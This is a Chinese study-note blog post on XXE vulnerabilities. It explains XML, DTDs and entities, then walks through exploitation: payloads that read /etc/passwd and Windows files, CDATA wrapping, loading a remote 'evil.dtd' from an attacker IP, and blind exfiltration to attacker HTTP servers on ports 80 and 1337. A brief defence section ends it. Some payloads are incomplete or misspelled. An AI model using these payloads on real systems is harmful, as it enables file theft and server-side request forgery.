XXE漏洞学习笔记
Posted xialuoxialuo
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XXE漏洞学习笔记相关的知识,希望对你有一定的参考价值。
一、XML定义
看一段示例
<?xml version="1.0" encoding="ISO-8859-1"?> //用来说明xml格式的数据的开始,告诉xml解析器版本号
<!DOCTYPE foo [ //DTD文档的开始
<!ELEMENT foo ANY > //创建一个元素
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]> //定义一个外部实体
<creds> //xml数据开始 <creds>为父元素
<user>&xxe;</user> //& 代表引用上述定义的的实体 <user>为子元素 尖括号和单双引号
<pass>mypass</pass>
</creds>
元素:从开始标签到结束标签为一个元素
XML格式:
<?xml version=“1.0”> |
---|
<! DOCTYPE foo[ ]> //DTD文档 |
//xml数据 |
XML解析器在第一行被以指定的版本启动后,下一步检查DTD是否合法
随后解析xml格式的数据
XML与html的异同
相同 | 相异 |
---|---|
都为标记型语言 | XML属性必须加引号 |
所有元素均可拥有文本内容和属性 | 标签闭合规则严格 |
HTML侧重于数据的展示 XML侧重于数据的传输 | |
HTML标签是实现被预定的 |
二、DTD与ENEITY
DTD:文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
由于XML元素中不能加入尖括号和单双引号等特殊字符
但是传输时又需要用到该字符
于是出现 实体 ENEITY**这个定义
实体又分为三类
1.一般实体
<!ENTITY name "pwn">
...
..
<hello>&name;</hello>
2.参数实体
参数实体只用于 DTD 和文档的内部子集中
将一个实体作为值 赋给另一个实体
<!ENEITY % name "<!ENEITY boy 'john'>">
3.预定义实体
因为为解决不能使用尖括号等特殊符号问题
使用 #x3c 的代替 很像各类编程语言中的预留字符串
<hello><</hello>
三、WHAT IS SYSTEM?
如下所示,我们经常在payload中看到SYSTEM 这个关键字
它的作用是告诉xml解析器 需要xml解析器去获取该处的外部实体资源 并将该值赋给name实体
<?xml version="1.0" >
<!DOCTYPE xxe[
<!ENEITY name SYSTEM "file:///etc/passwd">
]>
<pwn>&name;</pwn>
可以看到SYSTEM 后跟的file协议 XXE 除file协议外 还支持多种协议 比如利用http协议来完成SSRF
四、利用
0X01回显
服务器将xml执行结果直接回显的情况下
直接修改body值如下
读取到system.ini
0X02 CDATA
当我们读取system.ini文件时正常回显
但是当我们读取如下奇奇怪怪的文件时
因为该文件中的<>尖括号等特殊字符 破坏了xml文档的结构 让解析器分不清
于是我们在此处使用CDATA
所有 XML 文档中的文本均会被解析器解析。
只有 CDATA 区段(CDATA section)中的文本会被解析器忽略。
术语 CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。
在 XML 元素中,"<" 和 “&” 是非法的。
“<” 会产生错误,因为解析器会把该字符解释为新元素的开始。
“&” 也会产生错误,因为解析器会把该字符解释为字符实体的开始。
某些文本,比如 javascript 代码,包含大量 “<” 或 “&” 字符。为了避免错误,可以将脚本代码定义为 CDATA。
CDATA 部分中的所有内容都会被解析器忽略。
CDATA 部分由 “<![CDATA[*" 开始,由 "*]]>” 结束:
所以需要我们将读出来的数据放在CDATA中 避免XML解析器的解析
初步payload如下 这样拼接出来的数据的大致格式就是这个样子 使用CDATA 将我们要读的数据包裹起来
<![CDATA[passwd]]><?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///C:/Users/11727/Desktop/1.txt">
<!ENTITY % end "]]>">
<!ENTITY all "&start;$goodies;%end;">
]>
<roottag>&all;</roottag>
0x03报错
根据报错 以及查看xml文档
原因是 不允许在实体定义过程中 直接将一个参数实体作为值赋给另一个实体
但是若在外部实体 允许参数实体的调用
0x04 Bypass
既然不允许在内部dtd中直接进行参数实体的引用 那我们就将该步骤放在外部dtd中完成
1、引用外部的恶意DTD
2、由DTD 中定义的实体分别进行读取和发送操作
修改payload如下 引用外部的名为evil的dtd文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///C:/Users/11727/Desktop/1.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.2.58/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag>
evil.dtd内容如下
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
成功读出数据(经过测试 数据符号太多的时候 换行太多还是读取失败 比如说etcpasswd也是乱码)
0x04 不回显
大多数情况下 服务器是不会将执行的xml的结果返回
所以我们需要在确定服务器执行了我们的xml代码后 并把数据带出来 是 Blind XXE
此时有两个动作 1、读取服务器上的数据 2、将该数据发送至我们的服务器
首先在攻击机服务器中启动http服务 为了更好的观察到执行的流程 此处启动两个端口 分别是80 和1337
python -m SimpleHTTPServer 1337
python -m SimpleHTTPServer 80
之后将外部DTD的目录下开启80端口
外部DTD内容如下
payload如下
|
之后发送payload后报错如下
(即使使用了CDATA 还是有乱码的可能,在读取文件操作时加上,将要读取的数据变为base64
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
总结
我们的payload中的 加载远程恶意dtd
调用使用了名为send的实体
因此服务器开放的80首先收到了get请求
之后xml解释器在加载外部恶意dtd
根据dtd 调用wrapper 将http://**/passwd的值 赋给wrapper 在该过程前 将读取文件的值 赋给passwd
恶意dtd加载完毕
又通过send实体加载了passwd实体完成读取的操作后 向1337端口发起了请求
该行为可以通过1337端口HTTP服务的日志观察到
防御
禁止解析外部实体
禁止定义DTD
以上是关于XXE漏洞学习笔记的主要内容,如果未能解决你的问题,请参考以下文章